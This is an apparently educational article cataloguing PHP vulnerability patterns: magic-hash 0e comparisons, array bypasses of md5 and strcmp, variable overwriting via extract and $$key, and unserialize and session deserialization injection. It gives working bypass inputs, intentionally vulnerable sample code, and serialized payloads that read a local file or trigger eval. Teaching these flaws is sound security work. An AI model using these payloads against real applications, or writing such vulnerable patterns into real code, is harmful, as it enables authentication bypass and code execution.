Detailed explanation of various PHP function vulnerabilities

Time:2022-9-18
Table of contents
  • 1. MD5 compare vulnerability
  • 2.ereg function vulnerability: 00 truncation
  • 3. The key of the variable itself
  • 4. Variable Override
  • 5.strcmp
  • 6. sha1 and md5 functions
  • 7.is_numeric
  • 8.preg_match
  • 9.parse_str
  • 10. String comparison
  • 11.unset
  • 12.intval()
  • 13.switch()
  • 14.in_array()
  • 15. Serialize and unserialize vulnerabilities
  • 16. Session deserialization vulnerability

1. MD5 compare vulnerability

When PHP processes hash strings, it will use "!=" or "==" to compare hash values. It interprets each hash value starting with "0E" as 0, so if two After different passwords are hashed, their hash values ​​all start with "0E", then PHP will think they are the same, and they are all 0.
Common payloads are


0x01 md5(str)
    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
     sha1(str)
    sha1('aaroZmOk')  
    sha1('aaK1STfY')
    sha1('aaO8zKZF')
    sha1('aa3OFF9m')

0x02 md5(md5(str)."SALT")
    2

At the same time, MD5 cannot process arrays. If the following judgments are made, arrays can be used to bypass


if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

2.ereg function vulnerability: 00 truncation


ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

String comparison parsing
Here if $_GET['password'] is an array, the return value is NULL
Returns true if 123 || asd || 12as || 123%00&&&**
the rest are false

3. The key of the variable itself

When it comes to the submission of variables, many people only see the value of the variables submitted by GET/POST/COOKIE, etc., but forget that some programs extract the key of the variable itself as a variable to be processed by the function.


<?php

//key.php?aaaa'aaa=1&bb'b=2 

//print_R($_GET); 

 foreach ($_GET AS $key => $value)

{

        print $key."\n";

}

?>

4. Variable Override

The extract() function can cause variable overwriting when the specified parameter is EXTR_OVERWRITE or no function is specified

<?php  
    $auth = '0';  
    // Here you can override the variable value of $auth
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>

<?php  
$a='hi';
foreach($_GET as $key => $value) {
        echo $key;
        $$key = $value;
}
print $a;
?>

5.strcmp

Returns &lt; 0 if str1 is less than str2; returns &gt; 0 if str1 is greater than str2; returns 0 if they are equal.
Convert the two parameters to string type first.
Later, when comparing arrays and strings, the return is 0.
If the parameter is not of type string, return directly


<?php
    $password=$_GET['password'];
    if (strcmp('xd',$password)) {
     echo 'NO!';
    } else{
        echo 'YES!';
    }
?>

6. sha1 and md5 functions

md5 and sha1 cannot handle arrays, return NULL


if (@sha1([]) ==  false)
    echo 1;
if (@md5([]) ==  false)
    echo 2;
echo var_dump(@sha1([]));

7.is_numeric

PHP provides the is_numeric function, which is used to determine whether a variable is a number. But the scope of functions is wider than just decimal numbers.


<?php
echo is_numeric(233333);       # 1
echo is_numeric('233333');    # 1
echo is_numeric(0x233333);    # 1
echo is_numeric('0x233333');   # 1
echo is_numeric('233333abc');  # 0
?>

8.preg_match

If there is no restriction on the beginning and end of the string (^ and $) when performing regular expression matching, there can be a bypass problem

<?php
$ip = '1.1.1.1 abcd'; // can be bypassed
if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
  die('error');
} else {
   echo('key...');
}
?>

9.parse_str

Similar functions to parse_str() are mb_parse_str(). parse_str parses the string into multiple variables. If the parameter str is the query string passed in from the URL, parse it into a variable and set it to the current function area.


//var.php?var=new  
$var='init';  
parse_str($_SERVER['QUERY_STRING']);  
print $var;

10. String comparison

== is a weakly typed comparison, the following comparisons are all true

<?php  
echo 0 == 'a' ;// a is converted to a number as 0

// The beginning of 0x will be regarded as hexadecimal 54975581388 hexadecimal as 0xcccccccccc
// Hexadecimal and integer are converted to the same base for comparison
'0xccccccccc' == '54975581388' ;
// Strings are automatically converted to numbers before being compared with numbers, if not, they will become 0
1 == '1';
1 == '01';
10 == '1e1';
'100' == '1e2' ;    

// hexadecimal numbers and hexadecimal numbers with spaces are converted to hexadecimal integers
'0xABCdef'  == '     0xABCdef';
echo '0010e2' == '1e3';
// The beginning of 0e will be treated as a number, which is equal to 0*10^xxx=0
// If md5 starts with 0e, you can use this method to bypass when doing comparisons
'0e509367213418206700842008763514' == '0e481036490867661113260034900752';
'0e481036490867661113260034900752' == '0' ;

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

11.unset

unset( bar); is used to destroy the specified variable. If the variable bar is included in the request parameters, some variables may be destroyed to achieve program logic bypass.

<?php  
// http://127.0.0.1/index.php?_CONFIG=123
$_CONFIG['extraSecure'] = true;

foreach(array('_GET','_POST') as $method) {
    foreach($$method as $key=>$value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // This function will destroy the $_CONFIG variable
      unset($$key);
    }
}

if ($_CONFIG['extraSecure'] == false) {
    echo 'flag {****}';
}
?>

12.intval()

int to string:

$var = 5;  
Method 1: $item = (string)$var;  
Method 2: $item = strval($var);

String to int: intval() function.


var_dump(intval('2')) //2  
var_dump(intval('3abcd')) //3  
var_dump(intval('abcd')) //0 

Explain that when intval() converts, it will convert from the beginning of the string until a non-numeric character is encountered. Even if there is a string that cannot be converted, intval() will not report an error but return 0.
Exploit code:


<?php  
$a = '10000 union select * from yz';
if(intval($a)>1000)   
    echo $a ;
?>

13.switch()

If switch is a case judgment of a number type, switch will convert the parameter to int type. as follows:


<?php
$i ="2abc";  
switch ($i) {  
case 0:  
case 1:  
case 2:  
echo "i is less than 3 but not negative";  
break;  
case 3:  
echo "i is 3";  
} 
?>

At this time, the output of the program is i is less than 3 but not negative, because the switch() function converts the type of $i, and the conversion result is 2.

14.in_array()


$array=[0,1,2,'3'];  
var_dump(in_array('abc', $array)); //true  
var_dump(in_array('1bc', $array)); //true 

You can see that the above cases return true, because 'abc' will be converted to 0, and '1bc' will be converted to 1.
Enter string in all places that php thinks are int, it will be coerced

15. Serialize and unserialize vulnerabilities

magic method

Here we briefly introduce the magic method in php (if you are not familiar with classes, objects, and methods, learn it first), that is, the magic method, the php class may contain some special functions called magic functions, and the magic functions are named It starts with the symbol __, such as __construct, __destruct, __toString, __sleep, __wakeup, etc. These functions will be automatically called at some special time.
For example, the __construct() method is automatically called when an object is created, the corresponding __destruct method is called when an object is destroyed, and so on.
There are two special Magic methods, the __sleep method is called when an object is serialized. The __wakeup method is called when an object is deserialized.

Introducing a serialization vulnerability here, first don't trust everything the user enters
see the code below

<?php
class test
{
    public $username = '';
    public $password = '';
    public $file = '';
    public function out(){
        echo "username: ".$this->username."<br>"."password: ".$this->password ;
    }
     public function __toString() {
        return file_get_contents($this->file);
    }
}
$a = new test();
$a->file = 'C:\Users\YZ\Desktop\plan.txt';
echo serialize($a);
?>
//The tostring method will be executed when the instance is output. If the instance path is a secret file, it can be read

The following can read the C:\Users\YZ\Desktop\plan.txt file
echo unserialize triggers the __tostring function


<?php
class test
{
    public $username = '';
    public $password = '';
    public $file = '';
    public function out(){
        echo "username: ".$this->username."<br>"."password: ".$this->password ;
    }
     public function __toString() {
        return file_get_contents($this->file);
    }
}
$a = 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';
echo unserialize($a);
?>

16. Session deserialization vulnerability

The main reason is
ini_set(‘session.serialize_handler’, ‘php_serialize’);
ini_set(‘session.serialize_handler’, ‘php’);
The way the two handle sessions are different

Use the following code to generate session value


<?php
ini_set('session.serialize_handler', 'php_serialize');//a:1:{s:6:"spoock";s:3:"111";}
//ini_set('session.serialize_handler', 'php');//a|s:3:"111"
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

Let's take a look at the generated session value

spoock|s:3:&quot;111&quot;; //session key value|content serialization
a:1:{s:6:&quot;spoock&quot;;s:3:&quot;111&quot;;}a:1:{s:N:session key value;content serialization}
In ini_set('session.serialize_handler', 'php'); treat | that was previously considered to be behind the key value as serialization
Then you can use this vulnerability to execute some malicious code

see the example below
1.php


<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

2.php

<?php
   ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this-&gt;hi);//This is very dangerous, you can execute the parameters entered by the user
    }
}
?>

Enter the serialized value of the a parameter in 1.PHP|O:5:&quot;lemon&quot;:1:{s:2:&quot;hi&quot;;s:10:&quot;phpinfo();&quot;;}
is serialized as
a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;}
Open in 2.PHP
You can execute phpinfo()

The above is the detailed content of various PHP function vulnerabilities. For more information about PHP function vulnerabilities, please pay attention to other related articles on developpaer!